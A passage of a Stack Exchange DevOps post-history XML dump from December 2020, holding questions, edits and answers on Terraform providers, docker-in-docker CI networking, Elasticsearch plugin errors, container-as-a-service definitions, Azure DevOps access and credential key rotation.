each module which requires that provider. To see which modules are&#xD;&#xA;currently depending on hashicorp/gitlab, run the following command:&#xD;&#xA;    terraform providers&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I can't find anything on solving this issue in the documentation. Any suggestions?&#xD;&#xA;&#xD;&#xA;terraform --version&#xD;&#xA;Terraform v0.14.3" ContentLicense="CC BY-SA 4.0" />
  <row Id="40013" PostHistoryTypeId="1" PostId="13014" RevisionGUID="9ebd31ad-d410-470b-bf8f-9df52967f79f" CreationDate="2020-12-22T02:03:44.330" UserId="19440" Text="Terraform - gitlab provider does not start" ContentLicense="CC BY-SA 4.0" />
  <row Id="40014" PostHistoryTypeId="3" PostId="13014" RevisionGUID="9ebd31ad-d410-470b-bf8f-9df52967f79f" CreationDate="2020-12-22T02:03:44.330" UserId="19440" Text="&lt;terraform&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40015" PostHistoryTypeId="2" PostId="13015" RevisionGUID="324d2049-dc02-4bb5-b38f-77439686be41" CreationDate="2020-12-22T04:26:23.180" UserId="354" Text="GitHub is one of the providers [not yet included in the Terraform registry](https://www.terraform.io/docs/providers/#temporary-provider-documentation) - see [this diff](https://github.com/hashicorp/terraform/commit/cc6a226bcf1c2939587adf6fec0602567a1f5edc#diff-26b540fc4fffb736a64dd49318d9fcb854e78c14db14ca70b31ffc8f67855712) to the documentation. This appears to be a temporary situation:&#xD;&#xA;&#xD;&#xA;&gt; The following providers will be published on the Terraform Registry soon, but aren't quite ready. Until they're published, their documentation is available at the links below:&#xD;&#xA;&#xD;&#xA;I can't tell from the release notes whether this is only in 0.14.x, but I can confirm that the &quot;old&quot; (_i.e._ current at the time of writing) github provider works with 0.12.x" ContentLicense="CC BY-SA 4.0" />
  <row Id="40016" PostHistoryTypeId="2" PostId="13016" RevisionGUID="19653922-c476-4213-93a3-bda7e0d95f45" CreationDate="2020-12-22T06:35:00.803" UserId="25280" Text="[AWS Lightsail container service][1] allows exposing the container only if it has an HTTP / HTTPS port open with the proper responses to healthcheck. I'm trying to run a MySQL container from the docker hub image that only provides a 3306 TCP port. is there a way to run a health check responder within this MySQL image to have a workaround and let AWS allow this container to be accessible via a public endpoint?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://lightsail.aws.amazon.com/ls/webapp/home/containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="40017" PostHistoryTypeId="1" PostId="13016" RevisionGUID="19653922-c476-4213-93a3-bda7e0d95f45" CreationDate="2020-12-22T06:35:00.803" UserId="25280" Text="Deploy and expose Mysql in AWS Lightsail container service" ContentLicense="CC BY-SA 4.0" />
  <row Id="40018" PostHistoryTypeId="3" PostId="13016" RevisionGUID="19653922-c476-4213-93a3-bda7e0d95f45" CreationDate="2020-12-22T06:35:00.803" UserId="25280" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;mysql&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40019" PostHistoryTypeId="2" PostId="13017" RevisionGUID="5659d24b-f1b3-47ec-ad82-fa55555b21ed" CreationDate="2020-12-22T14:19:47.663" UserId="25286" Text="About a year ago we set up a gitlab-pipeline to integration-test a bunch of interacting containers. The whole test is steered from a pytest based script which starts/stops individual containers and feeds them with data.&#xD;&#xA;&#xD;&#xA;Now we need to move this whole integration test into a docker container to ensure isolation from different pipelines. For this we planned to use gitlabs docker in docker [workflow][1].&#xD;&#xA;&#xD;&#xA;However, with this workflow the gitlab-runner now spawns a separate container for the pytest engine as well as a container which then holds all spawned sub-containers. This leads to the problem that the steering script container is unable to connect to the testie containers inside the service container. &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How can I add this connection?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor&#xD;&#xA;  [2]: https://i.stack.imgur.com/qOp0a.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40020" PostHistoryTypeId="1" PostId="13017" RevisionGUID="5659d24b-f1b3-47ec-ad82-fa55555b21ed" CreationDate="2020-12-22T14:19:47.663" UserId="25286" Text="Integration testing of multiple containers via docker in docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="40021" PostHistoryTypeId="3" PostId="13017" RevisionGUID="5659d24b-f1b3-47ec-ad82-fa55555b21ed" CreationDate="2020-12-22T14:19:47.663" UserId="25286" Text="&lt;networking&gt;&lt;gitlab-ci-runner&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40022" PostHistoryTypeId="5" PostId="13017" RevisionGUID="165ddb2d-718e-4c38-8415-aa26e0ab7479" CreationDate="2020-12-22T14:28:26.383" UserId="25286" Comment="edited body" Text="About a year ago we set up a gitlab-pipeline to integration-test a bunch of interacting containers. The whole test is steered from a pytest based script which starts/stops individual containers and feeds them with data.&#xD;&#xA;&#xD;&#xA;Now we need to move this whole integration test into a docker container to ensure isolation from different pipelines. For this we planned to use gitlabs docker in docker [workflow][1].&#xD;&#xA;&#xD;&#xA;However, with this workflow the gitlab-runner now spawns a separate container for the pytest engine as well as a container which then holds all spawned sub-containers. This leads to the problem that the steering script container is unable to connect to the testie containers inside the service container. &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How can I add this connection?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor&#xD;&#xA;  [2]: https://i.stack.imgur.com/O786A.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40023" PostHistoryTypeId="5" PostId="13017" RevisionGUID="b5a96644-2a18-4d13-b2f4-17ae88d3d0c9" CreationDate="2020-12-22T14:34:59.987" UserId="25286" Comment="edited body" Text="About a year ago we set up a gitlab-pipeline to integration-test a bunch of interacting containers. The whole test is steered from a pytest based script which starts/stops individual containers and feeds them with data.&#xD;&#xA;&#xD;&#xA;Now we need to move this whole integration test into a docker container to ensure isolation from different pipelines. For this we planned to use gitlabs docker in docker [workflow][1].&#xD;&#xA;&#xD;&#xA;However, with this workflow the gitlab-runner now spawns a separate container for the pytest engine as well as a container which then holds all spawned sub-containers. This leads to the problem that the steering script container is unable to connect to the testie containers inside the service container. &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How can I add this connection?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The relevant part of the .yaml is this:&#xD;&#xA;```&#xD;&#xA;integration_test:&#xD;&#xA;  stage: integration_test&#xD;&#xA;  image: &lt;image path&gt;dind-py3-cml&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  variables:&#xD;&#xA;    FF_NETWORK_PER_BUILD: 1&#xD;&#xA;  script:&#xD;&#xA;    - pytest --capture=sys ./unittests/integration_test/&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor&#xD;&#xA;  [2]: https://i.stack.imgur.com/O786A.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40024" PostHistoryTypeId="5" PostId="13017" RevisionGUID="d695aa6d-1be9-4113-bcd2-e51b21880d5f" CreationDate="2020-12-22T14:40:50.137" UserId="25286" Comment="added 4 characters in body" Text="About a year ago we set up a gitlab-pipeline to integration-test a bunch of interacting containers. The whole test is steered from a pytest based script which starts/stops individual containers and feeds them with data.&#xD;&#xA;&#xD;&#xA;Now we need to move this whole integration test into a docker container to ensure isolation from different pipelines. For this we planned to use gitlabs docker in docker [workflow][1].&#xD;&#xA;&#xD;&#xA;However, with this workflow the gitlab-runner now spawns a separate container for the pytest engine as well as a container which then holds all spawned sub-containers. This leads to the problem that the steering script container is unable to connect to the testie containers inside the service container. &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How can I add this connection?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The relevant part of the .yaml is this:&#xD;&#xA;```&#xD;&#xA;integration_test:&#xD;&#xA;  stage: integration_test&#xD;&#xA;  image: &lt;image path&gt;dind-py3-cml&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  variables:&#xD;&#xA;    FF_NETWORK_PER_BUILD: 1&#xD;&#xA;  script:&#xD;&#xA;    - pytest --capture=sys ./unittests/integration_test/&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor&#xD;&#xA;  [2]: https://i.stack.imgur.com/A7yno.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40025" PostHistoryTypeId="5" PostId="13017" RevisionGUID="86722f9f-d5ce-4597-b2c3-e5a5d6f8c468" CreationDate="2020-12-22T15:04:46.657" UserId="25286" Comment="edited body" Text="About a year ago we set up a gitlab-pipeline to integration-test a bunch of interacting containers. The whole test is steered from a pytest based script which starts/stops individual containers and feeds them with data.&#xD;&#xA;&#xD;&#xA;Now we need to move this whole integration test into a docker container to ensure isolation from different pipelines. For this we planned to use gitlabs docker in docker [workflow][1].&#xD;&#xA;&#xD;&#xA;However, with this workflow the gitlab-runner now spawns a separate container for the pytest engine as well as a container which then holds all spawned sub-containers. This leads to the problem that the steering script container is unable to connect to the testie containers inside the service container. &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How can I add this connection?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The relevant part of the .yaml is this:&#xD;&#xA;```&#xD;&#xA;integration_test:&#xD;&#xA;  stage: integration_test&#xD;&#xA;  image: &lt;image path&gt;dind-py3-cml&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  variables:&#xD;&#xA;    FF_NETWORK_PER_BUILD: 1&#xD;&#xA;  script:&#xD;&#xA;    - pytest --capture=sys ./unittests/integration_test/&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker-workflow-with-docker-executor&#xD;&#xA;  [2]: https://i.stack.imgur.com/TJWpx.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40026" PostHistoryTypeId="2" PostId="13018" RevisionGUID="e50b36bb-9a63-45a9-882e-233fc8b571c8" CreationDate="2020-12-22T19:36:56.913" UserId="18637" Text="**My _setup_**: &#xD;&#xA;&#xD;&#xA;### AWS EKS&#xD;&#xA;&#xD;&#xA;    * Platform: eks.3&#xD;&#xA;    * K8s: 1.18&#xD;&#xA;    &#xD;&#xA;### ECK (Elastic Cloud Kubernetes):&#xD;&#xA;```&#xD;&#xA;* Deployment via: Operator&#xD;&#xA;* Elasticsearch version: 7.10.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Summary**&#xD;&#xA;&#xD;&#xA;I'm trying install the `repository-s3` plugin at Elasticsearch _pod_.&#xD;&#xA;&#xD;&#xA;Follow my `YAML`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: elasticsearch.k8s.elastic.co/v1&#xD;&#xA;kind: Elasticsearch&#xD;&#xA;metadata:&#xD;&#xA;  name: elastic-test&#xD;&#xA;spec:&#xD;&#xA;  version: 7.10.1&#xD;&#xA;  http:&#xD;&#xA;    tls:&#xD;&#xA;      selfSignedCertificate:&#xD;&#xA;        disabled: true&#xD;&#xA;  nodeSets:&#xD;&#xA;  - name: default&#xD;&#xA;    count: 1&#xD;&#xA;    config:&#xD;&#xA;      node.store.allow_mmap: false&#xD;&#xA;    podTemplate:&#xD;&#xA;      metadata:&#xD;&#xA;        annotations:&#xD;&#xA;          traffic.sidecar.istio.io/includeInboundPorts: &quot;*&quot;&#xD;&#xA;          traffic.sidecar.istio.io/excludeOutboundPorts: &quot;9300,443&quot; &#xD;&#xA;          traffic.sidecar.istio.io/excludeInboundPorts: &quot;9300&quot;&#xD;&#xA;      spec:&#xD;&#xA;        automountServiceAccountToken: true&#xD;&#xA;        initContainers:&#xD;&#xA;          - name: install-plugins&#xD;&#xA;            securityContext:&#xD;&#xA;              privileged: true&#xD;&#xA;            command: ['sh', '-c', 'bin/elasticsearch-plugin install --batch repository-s3']&#xD;&#xA;```&#xD;&#xA;And when I'm _applying_ the deployment crashes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Exception in thread &quot;main&quot; org.elasticsearch.bootstrap.BootstrapException: java.nio.file.AccessDeniedException: /usr/share/elasticsearch/config/repository-s3&#xD;&#xA;Likely root cause: java.nio.file.AccessDeniedException: /usr/share/elasticsearch/config/repository-s3&#xD;&#xA;	at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:90)&#xD;&#xA;	at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:106)&#xD;&#xA;	at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111)&#xD;&#xA;	at java.base/sun.nio.fs.UnixFileSystemProvider.newDirectoryStream(UnixFileSystemProvider.java:431)&#xD;&#xA;	at java.base/java.nio.file.Files.newDirectoryStream(Files.java:476)&#xD;&#xA;	at java.base/java.nio.file.FileTreeWalker.visit(FileTreeWalker.java:300)&#xD;&#xA;	at java.base/java.nio.file.FileTreeWalker.next(FileTreeWalker.java:373)&#xD;&#xA;	at java.base/java.nio.file.Files.walkFileTree(Files.java:2840)&#xD;&#xA;	at org.elasticsearch.common.logging.LogConfigurator.configure(LogConfigurator.java:220)&#xD;&#xA;	at org.elasticsearch.common.logging.LogConfigurator.configure(LogConfigurator.java:129)&#xD;&#xA;	at org.elasticsearch.bootstrap.Bootstrap.init(Bootstrap.java:354)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.init(Elasticsearch.java:170)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.execute(Elasticsearch.java:161)&#xD;&#xA;	at org.elasticsearch.cli.EnvironmentAwareCommand.execute(EnvironmentAwareCommand.java:86)&#xD;&#xA;	at org.elasticsearch.cli.Command.mainWithoutErrorHandling(Command.java:127)&#xD;&#xA;	at org.elasticsearch.cli.Command.main(Command.java:90)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.main(Elasticsearch.java:126)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.main(Elasticsearch.java:92)&#xD;&#xA;For complete error details, refer to the log at /usr/share/elasticsearch/logs/elastic-test.log&#xD;&#xA;```&#xD;&#xA;someone managed to get around?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40027" PostHistoryTypeId="1" PostId="13018" RevisionGUID="e50b36bb-9a63-45a9-882e-233fc8b571c8" CreationDate="2020-12-22T19:36:56.913" UserId="18637" Text="ECK - Install Plugins: Error privileges" ContentLicense="CC BY-SA 4.0" />
  <row Id="40028" PostHistoryTypeId="3" PostId="13018" RevisionGUID="e50b36bb-9a63-45a9-882e-233fc8b571c8" CreationDate="2020-12-22T19:36:56.913" UserId="18637" Text="&lt;kubernetes&gt;&lt;elasticsearch&gt;&lt;eck&gt;&lt;operator&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40029" PostHistoryTypeId="2" PostId="13019" RevisionGUID="ac5325ae-27d4-44d3-8aeb-c3f42ab43d21" CreationDate="2020-12-23T05:28:27.233" UserId="24583" Text="I am using KUBE_PING (jgroups-kubernetes-1.0.13.Final.jar) as the discovery protocol for my application running under OpenShift-4.5 (Kubernetes-version 1.18.3). When I ran a vulnerability report against jgroups-kubernetes-1.0.13.Final.jar the NVD database reported CRITICAL vulnerabilities against the [Kubernetes][1] Server (Eg: CVE-2015-7528, CVE-2020-8557)&#xD;&#xA;&#xD;&#xA;My question here is that the Kubernetes API Server vulnerabilities are to managed separately by the Cloud Container Platform (Like OpenShift, Amazon EKS, etc) and should be responsible for the same. These vulnerabilities are not to be considered directly against JGroups discovery client for Kubernetes. The jgroups-kubernetes-1.0.13.Final.jar is only vulnerable when connecting against the reported vulnerable Kubernetes server versions. Is this the right assumption?&#xD;&#xA;&#xD;&#xA;Main Point - Whether the version no. in jgroups-kubernetes-ver.jar has any dependency to the actual kubernetes server version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/kubernetes-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40030" PostHistoryTypeId="1" PostId="13019" RevisionGUID="ac5325ae-27d4-44d3-8aeb-c3f42ab43d21" CreationDate="2020-12-23T05:28:27.233" UserId="24583" Text="JGroups Kubernetes Discovery Protocol Vulnerabilities - CVE" ContentLicense="CC BY-SA 4.0" />
  <row Id="40031" PostHistoryTypeId="3" PostId="13019" RevisionGUID="ac5325ae-27d4-44d3-8aeb-c3f42ab43d21" CreationDate="2020-12-23T05:28:27.233" UserId="24583" Text="&lt;kubernetes&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40032" PostHistoryTypeId="2" PostId="13020" RevisionGUID="20a1c1d3-8371-4215-b3b2-aa647c5e063e" CreationDate="2020-12-23T12:36:34.227" UserId="18637" Text="I discovered that it's a know _bug_ of Elasticsearch version (7.10.x), after look this [_issue_][1] and I set to the version `7.9.3` and works fine!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/elastic/cloud-on-k8s/issues/3934" ContentLicense="CC BY-SA 4.0" />
  <row Id="40033" PostHistoryTypeId="2" PostId="13021" RevisionGUID="a755bfe3-4398-4ff5-bdf2-bc9068ceaca6" CreationDate="2020-12-23T13:11:21.963" UserId="25308" Text="Is there any heat/openstack command to convert HOT template to [openstack][1] commands&#xD;&#xA;&#xD;&#xA;i have some Yaml HOT template , i want to convert it into openstack commands for each resources in the file , is there some tool or heat/openstack command to achieve the same&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://hkrtrainings.com/openstack-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40034" PostHistoryTypeId="1" PostId="13021" RevisionGUID="a755bfe3-4398-4ff5-bdf2-bc9068ceaca6" CreationDate="2020-12-23T13:11:21.963" UserId="25308" Text="Is there any heat/openstack command to convert HOT template to openstack commands" ContentLicense="CC BY-SA 4.0" />
  <row Id="40035" PostHistoryTypeId="3" PostId="13021" RevisionGUID="a755bfe3-4398-4ff5-bdf2-bc9068ceaca6" CreationDate="2020-12-23T13:11:21.963" UserId="25308" Text="&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40036" PostHistoryTypeId="2" PostId="13022" RevisionGUID="33f4b568-09bf-48f4-98ff-bf37f24a8a17" CreationDate="2020-12-25T09:49:25.130" UserId="25323" Text="I often come across charts of application hosting models with a sorting similar to this one:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;* IaaS as machine + operating system&#xD;&#xA;* FaaS as machine + operating system + servers&#xD;&#xA;* PaaS as machine + operating system + servers + extra tools and support&#xD;&#xA;* SaaS as machine + operating system + servers + extra tools and support + application&#xD;&#xA;&#xD;&#xA;These are quite well defined concepts, but a &quot;container&quot; can contain each one of these, hence I ask, **is CaaS a thing** (is it well defined in comparison to other common hosting model categories)**?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="40037" PostHistoryTypeId="1" PostId="13022" RevisionGUID="33f4b568-09bf-48f4-98ff-bf37f24a8a17" CreationDate="2020-12-25T09:49:25.130" UserId="25323" Text="Is CaaS a thing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40038" PostHistoryTypeId="3" PostId="13022" RevisionGUID="33f4b568-09bf-48f4-98ff-bf37f24a8a17" CreationDate="2020-12-25T09:49:25.130" UserId="25323" Text="&lt;culture&gt;&lt;operating-model&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40039" PostHistoryTypeId="5" PostId="13022" RevisionGUID="df4b08b9-ee0e-4ea8-a4e8-b1488ae16c82" CreationDate="2020-12-25T11:12:25.790" UserId="25323" Comment="deleted 22 characters in body" Text="I often come across charts of application hosting models with a sorting similar to this one:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;* IaaS as machine + operating system&#xD;&#xA;* FaaS as machine + operating system + servers&#xD;&#xA;* PaaS as machine + operating system + servers + extra tools&#xD;&#xA;* SaaS as machine + operating system + servers + extra tools + application/s&#xD;&#xA;&#xD;&#xA;These are quite well defined concepts, but a &quot;container&quot; can contain each one of these, hence I ask, **is CaaS a thing** (is it well defined in comparison to other common hosting model categories)**?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="40040" PostHistoryTypeId="5" PostId="13022" RevisionGUID="3aa25871-4a58-4a26-a33f-dc5572597837" CreationDate="2020-12-25T11:26:41.390" UserId="25323" Comment="added 32 characters in body" Text="I often come across charts of application hosting models with a sorting similar to this one:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;* IaaS as machine + operating system&#xD;&#xA;* FaaS as machine + operating system + servers&#xD;&#xA;* PaaS as machine + operating system + servers + extra tools&#xD;&#xA;* SaaS as machine + operating system + servers + extra tools + application/s&#xD;&#xA;&#xD;&#xA;These are quite well defined concepts, but a &quot;container&quot; can contain each one of these (besides a non virtual machine), hence I ask, **is CaaS a thing** (is it well defined in comparison to other common hosting model categories)**?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="40041" PostHistoryTypeId="5" PostId="13022" RevisionGUID="d8918f92-25d5-4a8b-8dea-66a1203078a3" CreationDate="2020-12-25T11:33:16.097" UserId="25323" Comment="added 32 characters in body" Text="I often come across charts of application hosting models with a sorting similar to this one:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;* IaaS as machine + operating system&#xD;&#xA;* FaaS as machine + operating system + servers&#xD;&#xA;* PaaS as machine + operating system + servers + extra tools&#xD;&#xA;* SaaS as machine + operating system + servers + extra tools + application/s&#xD;&#xA;&#xD;&#xA;These are quite well defined concepts, but a &quot;container&quot; can contain each one of these (besides a non virtual machine); in other words, a container can start with an entire (virtual) machine and end where the sysadmin chooses to delineate it; hence I ask, **is CaaS a thing?**;&lt;br&gt;&#xD;&#xA;Is it well defined in comparison to other common hosting model categories?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40042" PostHistoryTypeId="2" PostId="13023" RevisionGUID="7c35f106-510d-4442-8dd2-79a75814198e" CreationDate="2020-12-25T23:45:51.970" UserId="25197" Text="You have Azure Container Instances which is not even similar to Google Cloud Run. You can have a GCE instance running a single container. &#xD;&#xA;You can run containers in PaaS platforms like Azure App Service and AppEngine Flexible while this add you these extra tools like SSL, load balancing, CDN etc.&#xD;&#xA;AWS has their own ECS, AWS Fargate and Beanstalk.&#xD;&#xA;&#xD;&#xA;The container deployment in a serverless model (Azure Container Instances/Google Cloud Run/AWS Fargate) seems useful, however, it is not standardised beyond container format. Most of the time it is for running a single container when you don't need all the bells and whistles of a PaaS, running a tool or a short batch job. ACI and Fargate can serve long running containers, Cloud Run is more like FaaS for containers.&#xD;&#xA;&#xD;&#xA;For any more demanding solution Kubernetes definitely is a thing. Requires a little more understanding and configuration but every cloud provider has Kubernetes as a service. You can treat it as a standard. &#xD;&#xA;&#xD;&#xA;Hard to say which one is CaaS..." ContentLicense="CC BY-SA 4.0" />
  <row Id="40049" PostHistoryTypeId="2" PostId="13024" RevisionGUID="2e46ae0a-2979-4d10-8dae-64b395e51f9f" CreationDate="2020-12-26T05:58:34.177" UserId="24583" Text="Do I need to allow [Azure DevOps][1] access to the On-Premises environment? According to the document at &quot;https://docs.microsoft.com/en-us/azure/devops/organizations/security/allow-list-ip-url? view = azure-devops, &quot; on &quot;Inbound connections&quot; connections are made from the 191.235.226.0/24 (Brazil South) network, but we are receiving connections to our IPs 40.65.126.175, 40.117.36.92 and 52.152.147.38.&#xD;&#xA;&#xD;&#xA;And the IPs are changed with each access making it impossible to restrict access.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/azure-devops-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40050" PostHistoryTypeId="1" PostId="13024" RevisionGUID="2e46ae0a-2979-4d10-8dae-64b395e51f9f" CreationDate="2020-12-26T05:58:34.177" UserId="24583" Text="Azure Devops x On-Premises" ContentLicense="CC BY-SA 4.0" />
  <row Id="40051" PostHistoryTypeId="3" PostId="13024" RevisionGUID="2e46ae0a-2979-4d10-8dae-64b395e51f9f" CreationDate="2020-12-26T05:58:34.177" UserId="24583" Text="&lt;azure&gt;&lt;firewall&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40052" PostHistoryTypeId="2" PostId="13025" RevisionGUID="8bc6d0cf-d43c-42ce-be6e-605e8ce32bc8" CreationDate="2020-12-26T10:22:43.587" UserId="25197" Text="What are you trying to achieve?&#xD;&#xA;If your goal is to run build agents to execute pipelines on premises, then you don't have to allow inbound access. Build agents will query Azure DevOps for any new jobs, so the connections are actually outbound." ContentLicense="CC BY-SA 4.0" />
  <row Id="40053" PostHistoryTypeId="50" PostId="11200" RevisionGUID="93117e1e-4372-4c62-a8a3-70cae158a9e9" CreationDate="2020-12-26T16:01:50.280" UserId="-1" />
  <row Id="40054" PostHistoryTypeId="2" PostId="13026" RevisionGUID="eaf0bdbc-c4bf-4de1-b44a-ef7d0ea2fa1f" CreationDate="2020-12-26T22:34:22.060" UserId="10599" Text="TL;DR &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;Long Version: &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine. There is a vast difference between deploying software onto a Kubernetes cluster that someone else automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist [operating systems][2] such that the servers are more like appliances than typical VMs. &#xD;&#xA;&#xD;&#xA;The historic position before we had containers, or “functions” would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous but it was an internal detail. The main marketing point was developer productivity of having build and deploy pipelines that deployed onto environments that were easy to manage and patch. The servers were treated as sheep and the vendor supplied service packs to keep them secure. &#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Container orchestrators have revolutionised things by fixing those issues. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor a propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.1/architecture/architecture-rhcos.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40055" PostHistoryTypeId="4" PostId="13013" RevisionGUID="a55b3a2d-1daa-4c05-ae5e-1b341c2b5507" CreationDate="2020-12-26T22:36:53.087" UserId="10599" Comment="edited title" Text="Gitlab-ci docker login x509 certificate signed by unknown authority" ContentLicense="CC BY-SA 4.0" />
  <row Id="40056" PostHistoryTypeId="2" PostId="13027" RevisionGUID="f5de41ec-347f-4739-a3e5-38e699b74d84" CreationDate="2020-12-26T23:15:58.637" UserId="10599" Text="Yes, your approach sounds okay to me. I am not sure how you &quot;ship&quot; machines but it is a good idea to use a service account per machine as you can [delete][2] the service account key if the machine ever becomes compromised. &#xD;&#xA;&#xD;&#xA;You can, and should, fully automate the process of generating the credentials key files using the Google APIs. &#xD;&#xA;&#xD;&#xA;It is best practice to periodically rotate (re-issue) credentials key files. This is in case they are accidentally leaked in a way that you do not notice. If you always revoke the key and issue a new one every month then it limits the total damage somewhat. &#xD;&#xA;&#xD;&#xA;If you do rotate keys then you have a key distribution problem. How do you securely distribute the new credentials key files onto machines you shipped in the past? You can use GnuPG to [create][1] a public-private key pair on every host. Each month you can run a script that generates a new credentials key file per machine, encrypt it with the machine's public GPG key, then [delete][2] the old 